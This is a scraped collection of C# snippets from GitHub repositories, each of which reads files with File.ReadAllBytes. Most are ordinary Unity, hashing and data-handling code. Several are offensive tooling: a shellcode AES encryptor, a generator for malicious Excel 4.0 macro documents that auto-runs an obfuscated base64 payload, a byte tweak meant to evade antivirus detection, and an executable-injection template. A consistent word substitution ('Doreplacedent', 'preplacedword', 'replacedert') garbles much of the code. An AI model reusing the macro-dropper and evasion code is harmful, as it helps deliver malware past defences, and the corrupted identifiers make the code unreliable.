}
else
{
System.IO.File.WriteAllText("output.bin", Convert.ToBase64String(bytesEncrypted));
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else if (arguments["/f"] == "hex")
{
buf = StringToByteArray(shellcode);
bytesEncrypted = AES_Encrypt(buf, preplacedwordBytes);
PrintSuccess("[+] Shellcode encrypted successfully.");
//Console.WriteLine(ByteArrayToString(bytesEncrypted));
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllText(arguments["/o"], ByteArrayToString(bytesEncrypted));
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
}
else
{
System.IO.File.WriteAllText("output.bin", ByteArrayToString(bytesEncrypted));
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else if (arguments["/f"] == "c")
{
buf = convertfromc(shellcode);
bytesEncrypted = AES_Encrypt(buf, preplacedwordBytes);
StringBuilder newshellcode = new StringBuilder();
for (int i = 0; i < bytesEncrypted.Length; i++)
{
newshellcode.Append("\\x");
newshellcode.AppendFormat("{0:x2}", bytesEncrypted[i]);
}
PrintSuccess("[+] Shellcode encrypted successfully.");
//Console.WriteLine(newshellcode);
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllText(arguments["/o"], newshellcode.ToString());
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
}
else
{
System.IO.File.WriteAllText("output.bin", newshellcode.ToString());
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else if (arguments["/f"] == "raw")
{
bytesEncrypted = AES_Encrypt(rawshellcode, preplacedwordBytes);
if (arguments.ContainsKey("/o"))
{
System.IO.File.WriteAllBytes(arguments["/o"], bytesEncrypted);
PrintSuccess($"[+] Output saved in '{arguments["/o"]}' file.");
}
else
{
System.IO.File.WriteAllBytes("output.bin", bytesEncrypted);
PrintSuccess($"[+] Output saved in 'output.bin' file.");
}
}
else
{
PrintError("[-] Please specify correct shellcode format.");
}
}
else
{
PrintError("[-] Please specify correct encryption type.");
}
}
else
{
PrintError("[-] Please check the specified file path or the URL.");
}
}
else
{
PrintError("[-] File doesn't exists. Please check the specified file path.");
}
}
catch (Exception ex)
{
PrintError(ex.Message);
}
}
19
Source : NotchSimulator.cs
with MIT License
from 5argon
with MIT License
from 5argon
internal static void UpdateAllMockups()
{
//When building, the scene may open-close multiple times and brought back the mockup canvas,
//which combined with bugs mentioned at https://github.com/5argon/NotchSolution/issues/11,
//will fail the build. This `if` prevents mockup refresh while building.
if (BuildPipeline.isBuildingPlayer) return;
EnsureCanvasAndEventSetup();
//Make the editing environment contains an another copy of mockup canvas.
var prefabStage = PrefabStageUtility.GetCurrentPrefabStage();
if (prefabStage != null)
{
EnsureCanvasAndEventSetup(prefabStage: prefabStage);
}
var settings = Settings.Instance;
bool enableSimulation = settings.EnableSimulation;
var selectedDevice = SimulationDatabase.ByIndex(Settings.Instance.ActiveConfiguration.DeviceIndex);
if (enableSimulation && selectedDevice != null)
{
var name = selectedDevice.Meta.overlay;
Sprite mockupSprite = null;
if (!string.IsNullOrEmpty(name))
{
var filePath = Path.Combine(NotchSimulatorUtility.DevicesFolder, name);
mockupSprite = replacedetDatabase.LoadreplacedetAtPath<Sprite>(filePath);
if (mockupSprite == null)
{
if (System.IO.File.Exists(filePath))
{
Texture2D tex = new Texture2D(1, 1);
tex.LoadImage(System.IO.File.ReadAllBytes(filePath));
mockupSprite = Sprite.Create(tex, new Rect(0.0f, 0.0f, tex.width, tex.height), new Vector2(0.5f, 0.5f), 100.0f);
}
else Debug.LogWarning($"No mockup image named {name} in {NotchSimulatorUtility.DevicesFolder} folder!");
}
}
foreach (var mockup in AllMockupCanvases)
{
mockup.UpdateMockupSprite(
sprite: mockupSprite,
orientation: NotchSimulatorUtility.GetGameViewOrientation(),
simulate: enableSimulation,
flipped: settings.FlipOrientation,
prefabModeOverlayColor: Settings.Instance.PrefabModeOverlayColor
);
}
}
else DestroyHiddenCanvas();
}
19
Source : WavUtility.cs
with GNU General Public License v3.0
from a2659802
with GNU General Public License v3.0
from a2659802
public static AudioClip ToAudioClip(string filePath)
{
if (!filePath.StartsWith(Application.persistentDataPath) && !filePath.StartsWith(Application.dataPath))
{
Debug.LogWarning("This only supports files that are stored using Unity's Application data path. \nTo load bundled resources use 'Resources.Load(\"filename\") typeof(AudioClip)' method. \nhttps://docs.unity3d.com/ScriptReference/Resources.Load.html");
return null;
}
byte[] fileBytes = File.ReadAllBytes(filePath);
return ToAudioClip(fileBytes, 0);
}
19
Source : ExcelDocWriter.cs
with Apache License 2.0
from aaaddress1
with Apache License 2.0
from aaaddress1
public void WriteDoreplacedent(string filePath, byte[] wbBytes, VBAInfo vbaInfo = null)
{
CompoundFile cf = new CompoundFile();
if (vbaInfo != null)
{
vbaInfo.AddToCompoundFile(cf);
}
//Can be Book or Workbook
CFStream workbookStream = cf.RootStorage.AddStream("Workbook");
workbookStream.Write(wbBytes, 0);
OLEPropertiesContainer dsiContainer = new OLEPropertiesContainer(1252, ContainerType.DoreplacedentSummaryInfo);
OLEPropertiesContainer siContainer = new OLEPropertiesContainer(1252, ContainerType.SummaryInfo);
//TODO [Stealth] Fill these streams with the expected data information, don't leave them empty
CFStream dsiStream = cf.RootStorage.AddStream("\u0005DoreplacedentSummaryInformation");
byte[] cfStreamBytes = new byte[]
{
0xFE, 0xFF, 0x00, 0x00, 0x06, 0x02, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0xE0, 0x85, 0x9F, 0xF2, 0xF9, 0x4F,
0x68, 0x10, 0xAB, 0x91, 0x08, 0x00, 0x2B, 0x27, 0xB3, 0xD9, 0x30, 0x00, 0x00, 0x00, 0xB0, 0x00, 0x00,
0x00, 0x07, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x04, 0x00, 0x00, 0x00,
0x48, 0x00, 0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x60, 0x00, 0x00, 0x00, 0x12, 0x00, 0x00, 0x00, 0x78,
0x00, 0x00, 0x00, 0x0C, 0x00, 0x00, 0x00, 0x90, 0x00, 0x00, 0x00, 0x0D, 0x00, 0x00, 0x00, 0x9C, 0x00,
0x00, 0x00, 0x13, 0x00, 0x00, 0x00, 0xA8, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x00, 0xE4, 0x04, 0x00,
0x00, 0x1E, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x57, 0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20,
0x55, 0x73, 0x65, 0x72, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x57,
0x69, 0x6E, 0x64, 0x6F, 0x77, 0x73, 0x20, 0x55, 0x73, 0x65, 0x72, 0x00, 0x00, 0x00, 0x00, 0x1E, 0x00,
0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x4D, 0x69, 0x63, 0x72, 0x6F, 0x73, 0x6F, 0x66, 0x74, 0x20, 0x45,
0x78, 0x63, 0x65, 0x6C, 0x00, 0x40, 0x00, 0x00, 0x00, 0x80, 0x45, 0xA1, 0x6B, 0x7B, 0x93, 0xD6, 0x01,
0x40, 0x00, 0x00, 0x00, 0x00, 0xD3, 0x32, 0xDA, 0x7C, 0x93, 0xD6, 0x01, 0x03, 0x00, 0x00, 0x00, 0x01,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
dsiContainer.Save(dsiStream);
CFStream siStream = cf.RootStorage.AddStream("\u0005SummaryInformation");
// siStream.SetData(cfStreamBytes);
siContainer.Save(siStream);
cf.Save(filePath);
// Break the Thardewm.B detection for smaller files =)
byte[] excelDocBytes = File.ReadAllBytes(filePath);
excelDocBytes[^1] = 0xFF;
File.WriteAllBytes(filePath, excelDocBytes);
}
19
Source : UI.cs
with MIT License
from aaaddress1
with MIT License
from aaaddress1
private void runPEToolStripMenuItem_Click(object sender, EventArgs e)
{
if (this.openFileDialog.ShowDialog() == DialogResult.OK)
{
byte[] file = System.IO.File.ReadAllBytes(this.openFileDialog.FileName);
string injectSrc = Properties.Resources.templateInjectSrc;
injectSrc = injectSrc.Replace("{EXECUTABLE_FILE_PAYLOAD}", "{0x" + BitConverter.ToString(file).Replace("-", ", 0x") + "}");
injectSrc = injectSrc.Replace("{EXECUTABLE_FILE_PATH}", this.openFileDialog.FileName);
fastColoredTextBox.Clear();
fastColoredTextBox.InsertText(injectSrc);
}
}
19
Source : UI.cs
with MIT License
from aaaddress1
with MIT License
from aaaddress1
private void compile_Click(object sender, EventArgs e)
{
(new System.Threading.Thread(() =>
{
this.Invoke((MethodInvoker)delegate () {
compile.Enabled = false;
logBox.Clear();
logMsg(demostr, Color.Blue);
this.splitContainer.Panel2Collapsed = false;
this.logPanelBtn.Text = "x";
});
File.WriteAllText(srcPath, this.fastColoredTextBox.Text);
File.Delete(exePath);
File.Delete(asmPath);
File.Delete(obfAsmPath);
logMsg(" --- \n", Color.Blue);
logMsg(string.Format(
"[\tInfo\t] current compile info... \n" +
" - source: {0}\n" +
" - asm path: {1}\n" +
" - obfuscated asm path: {2}\n" +
" - output exe path: {3}\n", srcPath, asmPath, obfAsmPath, exePath), Color.Blue);
if (compiler.geneateAsmSource(srcPath, asmPath))
logMsg("[\tOK\t] generate replacedembly code of source code.", Color.Green);
else
{
logMsg("[\tFail\t] generate replacedembly code of sorce code failure ...", Color.Red);
this.Invoke((MethodInvoker)delegate () { compile.Enabled = true; });
return;
}
if (obfuscator.obfuscaAsm(asmPath, obfAsmPath))
logMsg("[\tOK\t] generate obfuscated replacedembly code of source code.", Color.Green);
else
{
logMsg("[\tFail\t] generate obfuscated replacedembly code of sorce code failure ...", Color.Red);
this.Invoke((MethodInvoker)delegate () { compile.Enabled = true; });
return;
}
if (compiler.generateExe(obfAsmPath, exePath))
{
var arr = System.IO.File.ReadAllBytes(exePath);
var size = arr.Length;
var md5 = BitConverter.ToString(MD5.Create().ComputeHash(arr)).Replace("-", "");
var sha256 = BitConverter.ToString(SHA256.Create().ComputeHash(arr)).Replace("-", "");
logMsg("[\tInfo\t] exe size: " + size + " bytes", Color.Blue);
logMsg("[\tInfo\t] MD5: " + md5, Color.Blue);
logMsg("[\tInfo\t] SHA256: " + sha256, Color.Blue);
logMsg("[\tOK\t] generate executable file successfully :)", Color.Green);
}
else
logMsg("[\tFail\t] generate executable file failure ... o___O", Color.Red);
if (Properties.Settings.Default.clnAftCompile)
{
File.Delete(asmPath);
File.Delete(obfAsmPath);
}
this.Invoke((MethodInvoker)delegate () { compile.Enabled = true; });
})
{ IsBackground = true }).Start();
}
19
Source : Program.cs
with Apache License 2.0
from aaaddress1
with Apache License 2.0
from aaaddress1
static void Main(string[] args)
{
Console.WriteLine(@" ====================================== ");
Console.WriteLine(@" xlsGen v1.0, by [email protected]");
Console.WriteLine(@" github.com/aaaddress1/xlsGen");
Console.WriteLine(@" ====================================== ");
Console.WriteLine();
var decoyDocPath = @"decoy_doreplacedent.xls";
Encoding.RegisterProvider(CodePagesEncodingProvider.Instance);
List<BiffRecord> defaultMacroSheetRecords = GetDefaultMacroSheetRecords();
WorkbookStream wbs = LoadDecoyDoreplacedent(decoyDocPath);
Console.WriteLine(wbs.ToDisplayString()); // that'll be cool if there's a hex-print :)
List<string> sheetNames = wbs.GetAllRecordsByType<BoundSheet8>().Select(bs => bs.stName.Value).ToList();
List<string> preambleCode = new List<string>();
WorkbookEditor wbe = new WorkbookEditor(wbs);
var macroSheetName = "Sheet2";
wbe.AddMacroSheet(defaultMacroSheetRecords, macroSheetName, BoundSheet8.HiddenState.Visible);
List<string> macros = null;
byte[] binaryPayload = null;
int rwStart = 0, colStart = 2, dstRwStart = 0, dstColStart = 0;
int curRw = rwStart, curCol = colStart;
binaryPayload = File.ReadAllBytes("popcalc.bin");
wbe.SetMacroBinaryContent(binaryPayload, 0, dstColStart + 1, 0, 0, SheetPackingMethod.ObfuscatedCharFunc, PayloadPackingMethod.Base64);
curRw = wbe.WbStream.GetFirstEmptyRowInColumn(colStart) + 1;
macros = MacroPatterns.GetBase64DecodePattern(preambleCode);
//Orginal: wbe.SetMacroSheetContent(macros, 0, 2, dstRwStart, dstColStart, SheetPackingMethod.ObfuscatedCharFuncAlt);
macros.Add("=GOTO(R1C1)");
wbe.SetMacroSheetContent_NoLoader(macros, rwStart, colStart);
wbe.InitializeGlobalStreamLabels();
wbe.AddLabel("Auto_Open", rwStart, colStart);
#region save Workbook Stream to file
WorkbookStream createdWorkbook = wbe.WbStream;
ExcelDocWriter writer = new ExcelDocWriter();
string outputPath = "a.xls";
Console.WriteLine("Writing generated doreplacedent to {0}", outputPath);
writer.WriteDoreplacedent(outputPath, createdWorkbook, null);
#endregion
}
19
Source : FileChecker.cs
with Apache License 2.0
from AantCoder
with Apache License 2.0
from AantCoder
private static void GetCheckSum(ModelFileInfo mfi, string fileName, FastComputeHash computeHash)
{
try
{
if (computeHash.ReadFile != null) computeHash.ReadFile.Wait();
computeHash.ReadFile = Task.Run(() =>
{
try
{
if (!File.Exists(fileName)) return null;
var fileData = File.ReadAllBytes(fileName);
mfi.Size = fileData.Length;
return fileData;
}
catch (Exception exp)
{
ExceptionUtil.ExceptionLog(exp, "GetCheckSum 2 " + fileName);
}
return null;
});
computeHash.GetHash = computeHash.ReadFile.ContinueWith((task) =>
{
try
{
if (task.Result == null)
{
mfi.Hash = null;
return;
}
var sha = SHA512.Create();
mfi.Hash = sha.ComputeHash(task.Result);
}
catch(Exception exp)
{
ExceptionUtil.ExceptionLog(exp, "GetCheckSum 3 " + fileName);
}
});
/*
var sha = SHA512.Create();
using (var fs = new FileStream(fileName, FileMode.Open))
{
return sha.ComputeHash(fileData);
}
*/
}
catch(Exception exp)
{
ExceptionUtil.ExceptionLog(exp, "GetCheckSum 1 " + fileName);
}
}
19
Source : CheckFiles.cs
with Apache License 2.0
from AantCoder
with Apache License 2.0
from AantCoder
private ModelFileInfo GetFile(string rootDir, string fileName)
{
var newFile = new ModelFileInfo() { FileName = fileName };
var fullname = Path.Combine(rootDir, fileName);
newFile.Hash = File.ReadAllBytes(fullname);
newFile.Size = newFile.Hash.Length;
return newFile;
}
19
Source : RepositorySaveData.cs
with Apache License 2.0
from AantCoder
with Apache License 2.0
from AantCoder
public byte[] LoadPlayerData(string login, int numberSave)
{
if (numberSave < 1 || numberSave > CountSaveDataPlayer) return null;
var fileName = GetFileNameBase(login) + numberSave.ToString();
var info = new FileInfo(fileName);
if (!info.Exists || info.Length < 10) return null;
//читаем содержимое
bool readAsXml;
using (var file = File.OpenRead(fileName))
{
var buff = new byte[10];
file.Read(buff, 0, 10);
readAsXml = Encoding.ASCII.GetString(buff, 0, 10).Contains("<?xml");
}
//считываем текст как xml сейва или как сжатого zip'а
var saveFileData = File.ReadAllBytes(fileName);
if (readAsXml)
{
return saveFileData;
}
else
{
return GZip.UnzipByteByte(saveFileData);
}
}
19
Source : DataBaseManager.cs
with MIT License
from Abdesol
with MIT License
from Abdesol
public string ExportData(string path)
{
if (Path.GetExtension(path) != ".whl") return "This type of file are not supported!";
_db.Close();
var bytes = File.ReadAllBytes(dbpath);
File.WriteAllBytes(path, bytes);
OpenDB();
return "Successfully exported your codes!";
}
19
Source : DataBaseManager.cs
with MIT License
from Abdesol
with MIT License
from Abdesol
public string ImportData(string path)
{
_db.Close();
var currentData = File.ReadAllBytes(dbpath);
var importingData = File.ReadAllBytes(path);
File.WriteAllBytes(dbpath, importingData);
try
{
OpenDB();
}
catch
{
_db.Close();
File.WriteAllBytes(dbpath, currentData);
OpenDB();
return "Your syncing file is corrupted! We are unable to sync your codes!";
}
return "Successfully imported your codes!";
}
19
Source : ConstructGltf.cs
with Apache License 2.0
from abist-co-ltd
with Apache License 2.0
from abist-co-ltd
private static void ConstructBufferView(this GltfObject gltfObject, GltfBufferView bufferView)
{
bufferView.Buffer = gltfObject.buffers[bufferView.buffer];
if (bufferView.Buffer.BufferData == null &&
!string.IsNullOrEmpty(gltfObject.Uri) &&
!string.IsNullOrEmpty(bufferView.Buffer.uri))
{
var parentDirectory = Directory.GetParent(gltfObject.Uri).FullName;
bufferView.Buffer.BufferData = File.ReadAllBytes(Path.Combine(parentDirectory, bufferView.Buffer.uri));
}
}
19
Source : EcojiTests.cs
with MIT License
from abock
with MIT License
from abock
[Theory]
[MemberData(nameof(FileTestCases))]
public void RoundTripFile(
string testName, // for logging; Xunit truncates the paths early 🙄
string inputFile,
string ecojiReferenceFile)
{
replacedert.NotNull(testName); // hush warning xUnit1026
const int wrap = 76; // reference ecoji was produced with default wrap
var inputBytes = File.ReadAllBytes(inputFile);
var expectedEcojiString = File.ReadAllText(ecojiReferenceFile);
var actualEcojiString = Ecoji.Encode(
inputBytes,
new Ecoji.EncodingOptions(wrap: wrap, newLine: "\n"));
replacedert.Equal(expectedEcojiString, actualEcojiString);
var roundTripBytes = Ecoji.Decode(actualEcojiString);
replacedert.Equal(inputBytes, roundTripBytes);
}
19
Source : Render.cs
with GNU General Public License v3.0
from ACEmulator
with GNU General Public License v3.0
from ACEmulator
public void Init()
{
Effect = new Effect(GraphicsDevice, File.ReadAllBytes("Content/texture.mgfxo"));
if (Camera == null)
Camera = new Camera(GameView.Instance);
Effect.Parameters["xProjection"].SetValue(Camera.ProjectionMatrix);
Buffer = new Buffer();
Font = GameView.Content.Load<SpriteFont>("Fonts/Consolas");
}
19
Source : ResourcesTests.cs
with MIT License
from adamant
with MIT License
from adamant
[Theory]
[InlineData(CodeEmitter.RuntimeLibraryCodeFileName)]
[InlineData(CodeEmitter.RuntimeLibraryHeaderFileName)]
public void Resources_start_with_BOM(string filename)
{
var projectDir = Path.Combine(SolutionDirectory.Get(), "Emit.C");
var codeFileBytes = File.ReadAllBytes(Path.Combine(projectDir, filename));
replacedertStartsWithUtf8Bom(codeFileBytes);
}
19
Source : AudioFile.cs
with MIT License
from adlez27
with MIT License
from adlez27
public void Read ()
{
if (File.Exists(FullName) && !recorded)
{
byte[] rawBytes = File.ReadAllBytes(FullName);
data = new ArraySegment<byte>(rawBytes, 46, rawBytes.Length - 46).ToList();
stream = Breplaced.CreateStream(rawBytes, 0, rawBytes.Length, BreplacedFlags.Mono);
}
else if (recorded)
{
byte[] reRead;
var format = new WaveFormat(44100, 16, 1);
using (MemoryStream ms = new MemoryStream())
using (WaveFileWriter wfw = new WaveFileWriter(ms, format))
{
wfw.Write(Data, Data.Length * 2);
reRead = ms.GetBuffer();
}
stream = Breplaced.CreateStream(reRead, 0, reRead.Length, BreplacedFlags.Mono);
}
}
19
Source : Extensions.cs
with MIT License
from Adoxio
with MIT License
from Adoxio
public static byte[] ReadAllBytes(this RetryPolicy retryPolicy, string path)
{
return retryPolicy.ExecuteAction(() => File.ReadAllBytes(path));
}
19
Source : ValidateCopiedFoldersIntegrity.cs
with MIT License
from adrenak
with MIT License
from adrenak
static string CreateMd5ForFolder(string path)
{
// replaceduming you want to include nested folders
var files = Directory.GetFiles(path, "*.*", SearchOption.AllDirectories)
.OrderBy(p => p).ToList();
MD5 md5 = MD5.Create();
for (int i = 0; i < files.Count; i++)
{
string file = files[i];
// hash path
string relativePath = file.Substring(path.Length + 1);
byte[] pathBytes = Encoding.UTF8.GetBytes(relativePath.ToLower());
md5.TransformBlock(pathBytes, 0, pathBytes.Length, pathBytes, 0);
// hash contents
byte[] contentBytes = File.ReadAllBytes(file);
if (i == files.Count - 1)
md5.TransformFinalBlock(contentBytes, 0, contentBytes.Length);
else
md5.TransformBlock(contentBytes, 0, contentBytes.Length, contentBytes, 0);
}
return BitConverter.ToString(md5.Hash).Replace("-", "").ToLower();
}
19
Source : Startup.cs
with MIT License
from adrianoc
with MIT License
from adrianoc
public void Configure(IApplicationBuilder app, IWebHostEnvironment env)
{
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
else
{
app.UseExceptionHandler("/Error");
app.UseHsts();
}
app.UseWebSockets();
app.UseCookiePolicy();
app.UseStaticFiles();
app.UseRouting();
app.UseEndpoints(endpoints => { endpoints.MapRazorPages(); });
app.Use(async (context, next) =>
{
if (context.Request.Path == "/ws")
{
if (context.WebSockets.IsWebSocketRequest)
{
var webSocket = await context.WebSockets.AcceptWebSocketAsync();
CecilifyCode(webSocket);
}
else
{
context.Response.StatusCode = 400;
}
}
else
{
await next();
}
});
void CecilifyCode(WebSocket webSocket)
{
var buffer = ArrayPool<byte>.Shared.Rent(64 * 1024);
var memory = new Memory<byte>(buffer);
var received = webSocket.ReceiveAsync(memory, CancellationToken.None).Result;
while (received.MessageType != WebSocketMessageType.Close)
{
CecilifierApplication.Count++;
var toBeCecilified = JsonSerializer.Deserialize<CecilifierRequest>(memory.Span[0..received.Count]);
var bytes = Encoding.UTF8.GetBytes(toBeCecilified.Code);
using (var code = new MemoryStream(bytes, 0, bytes.Length))
{
try
{
var deployKind = toBeCecilified.WebOptions.DeployKind;
var cecilifiedResult = Core.Cecilifier.Process(code, new CecilifierOptions
{
References = GetTrustedreplacedembliesPath(),
Naming = new DefaultNameStrategy(toBeCecilified.Settings.NamingOptions, toBeCecilified.Settings.ElementKindPrefixes.ToDictionary(entry => entry.ElementKind, entry => entry.Prefix))
});
SendTextMessageToChat("One more happy user (project)", $"Total so far: {CecilifierApplication.Count}\n\n***********\n\n```{toBeCecilified.Code}```", "4437377");
if (deployKind == 'Z')
{
var responseData = ZipProject(
("Program.cs", cecilifiedResult.GeneratedCode.ReadToEnd()),
("Cecilified.csproj", ProjectContents),
NameAndContentFromResource("Cecilifier.Web.Runtime")
);
var output = new Span<byte>(buffer);
var ret = Base64.EncodeToUtf8(responseData.Span, output, out var bytesConsumed, out var bytesWritten);
if (ret == OperationStatus.Done)
{
output = output[0..bytesWritten];
}
var dataToReturn = JsonSerializedBytes(Encoding.UTF8.GetString(output), 'Z', cecilifiedResult);
webSocket.SendAsync(dataToReturn, received.MessageType, received.EndOfMessage, CancellationToken.None);
}
else
{
var dataToReturn = JsonSerializedBytes(cecilifiedResult.GeneratedCode.ReadToEnd(), 'C', cecilifiedResult);
webSocket.SendAsync(dataToReturn, received.MessageType, received.EndOfMessage, CancellationToken.None);
}
}
catch (SyntaxErrorException ex)
{
var source = ((toBeCecilified.Settings.NamingOptions & NamingOptions.IncludeSourceInErrorReports) == NamingOptions.IncludeSourceInErrorReports) ? toBeCecilified.Code : string.Empty;
SendMessageWithCodeToChat("Syntax Error", ex.Message, "15746887", source);
var dataToReturn = Encoding.UTF8.GetBytes($"{{ \"status\" : 1, \"syntaxError\": \"{HttpUtility.JavaScriptStringEncode(ex.Message)}\" }}").AsMemory();
webSocket.SendAsync(dataToReturn, received.MessageType, received.EndOfMessage, CancellationToken.None);
}
catch (Exception ex)
{
SendExceptionToChat(ex, buffer, received.Count);
var dataToReturn = Encoding.UTF8.GetBytes($"{{ \"status\" : 2, \"error\": \"{HttpUtility.JavaScriptStringEncode(ex.ToString())}\" }}").AsMemory();
webSocket.SendAsync(dataToReturn, received.MessageType, received.EndOfMessage, CancellationToken.None);
}
finally
{
ArrayPool<byte>.Shared.Return(buffer);
}
}
received = webSocket.ReceiveAsync(memory, CancellationToken.None).Result;
}
webSocket.CloseAsync(WebSocketCloseStatus.NormalClosure, "", CancellationToken.None);
Memory<byte> ZipProject(params (string fileName, string contents)[] sources)
{
/*
//TODO: For some reason this code produces an invalid stream. Need to investigate.
using var zipStream = new MemoryStream();
using var zipFile = new ZipArchive(zipStream, ZipArchiveMode.Create);
foreach (var source in sources)
{
var entry = zipFile.CreateEntry(source.fileName, CompressionLevel.Fastest);
using var entryWriter = new StreamWriter(entry.Open());
entryWriter.Write(source.contents);
}
zipStream.Position = 0;
Memory<byte> s = zipStream.GetBuffer();
Console.WriteLine($"Stream Size = {zipStream.Length}");
return s.Slice(0, (int)zipStream.Length);
*/
var tempPath = Path.GetTempPath();
var replacedetsPath = Path.Combine(tempPath, "output");
if (Directory.Exists(replacedetsPath))
Directory.Delete(replacedetsPath, true);
Directory.CreateDirectory(replacedetsPath);
foreach (var source in sources)
{
File.WriteAllText(Path.Combine(replacedetsPath, $"{source.fileName}"), source.contents);
}
var outputZipPath = Path.Combine(tempPath, "Cecilified.zip");
if (File.Exists(outputZipPath))
File.Delete(outputZipPath);
ZipFile.CreateFromDirectory(replacedetsPath, outputZipPath, CompressionLevel.Fastest, false);
return File.ReadAllBytes(outputZipPath);
}
}
IReadOnlyList<string> GetTrustedreplacedembliesPath()
{
return ((string) AppContext.GetData("TRUSTED_PLATFORM_replacedEMBLIES")).Split(Path.PathSeparator).ToList();
}
}
19
Source : DbgDecoder.cs
with GNU General Public License v3.0
from Aekras1a
with GNU General Public License v3.0
from Aekras1a
private void btnDecode_Click(object sender, EventArgs e)
{
var mapFile = txtMap.Text;
if(string.IsNullOrEmpty(txtMap.Text))
{
MessageBox.Show("Select a Debug Map file.", "Koi System", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
var mapData = File.ReadAllBytes(mapFile);
ulong token;
if(!ulong.TryParse(txtToken.Text, NumberStyles.HexNumber, null, out token))
{
MessageBox.Show("Enter a valid Debug Token.", "Koi System", MessageBoxButtons.OK, MessageBoxIcon.Error);
return;
}
var stream = new MemoryStream(mapData);
var aes = new AesManaged();
aes.IV = aes.Key = Convert.FromBase64String("UkVwAyrARLAy4GmQLL860w==");
var reader = new BinaryReader(
new DeflateStream(
new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Read),
CompressionMode.Decompress
)
);
var key = modInv((uint) token | 1);
var doreplacedents = new List<string>();
var count = reader.ReadUInt32();
for(uint i = 0; i < count; i++)
doreplacedents.Add(reader.ReadString());
string dbg;
try
{
var ip = (uint) ((token >> 32) * key);
while(true)
{
var offset = reader.ReadUInt32();
var len = reader.ReadUInt32();
var docId = reader.ReadUInt32();
var lineNo = reader.ReadUInt32();
if(ip >= offset && ip <= offset + len)
{
dbg = string.Format("Line {0} at {1}", lineNo, doreplacedents[(int) docId]);
break;
}
}
}
catch
{
dbg = "Debug info not found.";
}
txtInfo.Text = dbg;
}
19
Source : SavePhase.cs
with GNU General Public License v3.0
from Aekras1a
with GNU General Public License v3.0
from Aekras1a
protected override void Execute(ConfuserContext context, ProtectionParameters parameters)
{
var vr = context.Annotations.Get<Virtualizer>(context, Fish.VirtualizerKey);
var merge = context.Annotations.Get<ModuleDef>(context, Fish.MergeKey);
if(merge != null)
return;
var tmpDir = Path.GetTempPath();
var outDir = Path.Combine(tmpDir, Path.GetRandomFileName());
Directory.CreateDirectory(outDir);
var rtPath = vr.SaveRuntime(outDir);
if(context.Packer != null)
{
#if DEBUG
var protRtPath = rtPath;
#else
var protRtPath = ProtectRT(context, rtPath);
#endif
context.ExternalModules.Add(File.ReadAllBytes(protRtPath));
foreach(var rule in context.Project.Rules)
rule.RemoveWhere(item => item.Id == Parent.Id);
}
else
{
outDir = Path.GetDirectoryName(rtPath);
foreach(var file in Directory.GetFiles(outDir))
{
var path = Path.Combine(context.OutputDirectory, Path.GetFileName(file));
Directory.CreateDirectory(Path.GetDirectoryName(path));
File.Copy(file, path, true);
}
}
}
19
Source : KoiInfo.cs
with GNU General Public License v3.0
from Aekras1a
with GNU General Public License v3.0
from Aekras1a
internal static void InitKoi(bool runCctor = true)
{
var rc4 = new RC4(Convert.FromBase64String("S29pVk0gaXMgY3V0ZSEhIQ=="));
var buf = File.ReadAllBytes(Path.Combine(KoiDirectory, "koi.pack"));
rc4.Crypt(buf, 0, buf.Length);
using(var deflate = new DeflateStream(new MemoryStream(buf), CompressionMode.Decompress))
using(var reader = new BinaryReader(deflate))
{
var count = reader.ReadInt32();
replacedemblies.Clear();
for(var i = 0; i < count; i++)
{
var asm = replacedembly.Load(reader.ReadBytes(reader.ReadInt32()));
replacedemblies.Add(asm);
}
}
if(!runCctor)
return;
foreach(var asm in replacedemblies) // Initialize the modules, since internal calls might not trigger module cctor
RuntimeHelpers.RunModuleConstructor(asm.ManifestModule.ModuleHandle);
}
19
Source : GUIBase.cs
with GNU General Public License v3.0
from aelariane
with GNU General Public License v3.0
from aelariane
public Texture2D LoadTexture(string namebase, string ext)
{
if (textureCache.TryGetValue(namebase, out Texture2D res) && res != null)
{
return res;
}
string name = namebase;
bool error = false;
if (ext == string.Empty)
{
if (!name.EndsWith(".png") && !name.EndsWith(".jpg") && !name.EndsWith(".jpeg"))
{
error = true;
}
}
else
{
if (!ext.Equals("png") && !ext.Equals("jpg") && !ext.Equals("jpeg"))
{
error = true;
}
name += "." + ext;
}
if (error)
{
Debug.LogError($"You should use png, jpg or jpeg extensions for loading Texture2D");
return Texture2D.blackTexture;
}
string path = Directory + name;
if (!File.Exists(path))
{
Debug.LogError($"File what you are trying to load doesnt't exist: \"{path}\"");
return Texture2D.blackTexture;
}
res = new Texture2D(1, 1, TextureFormat.RGBA32, false);
res.LoadImage(File.ReadAllBytes(path));
res.Apply();
textureCache.Add(namebase, res);
return res;
}
19
Source : Helper.cs
with GNU General Public License v3.0
from aelariane
with GNU General Public License v3.0
from aelariane
public static Texture2D GetTexture(string path)
{
if (!File.Exists(path) || (!path.EndsWith(".png") && !path.EndsWith(".jpeg") && !path.EndsWith(".jpg")))
{
return Texture2D.whiteTexture;
}
Texture2D result = new Texture2D(1, 1, TextureFormat.ARGB32, false);
byte[] data = File.ReadAllBytes(path);
result.LoadImage(data);
result.Apply();
return result;
}
19
Source : AnarchyAssets.cs
with GNU General Public License v3.0
from aelariane
with GNU General Public License v3.0
from aelariane
public static System.Collections.IEnumerator LoadreplacedetBundle()
{
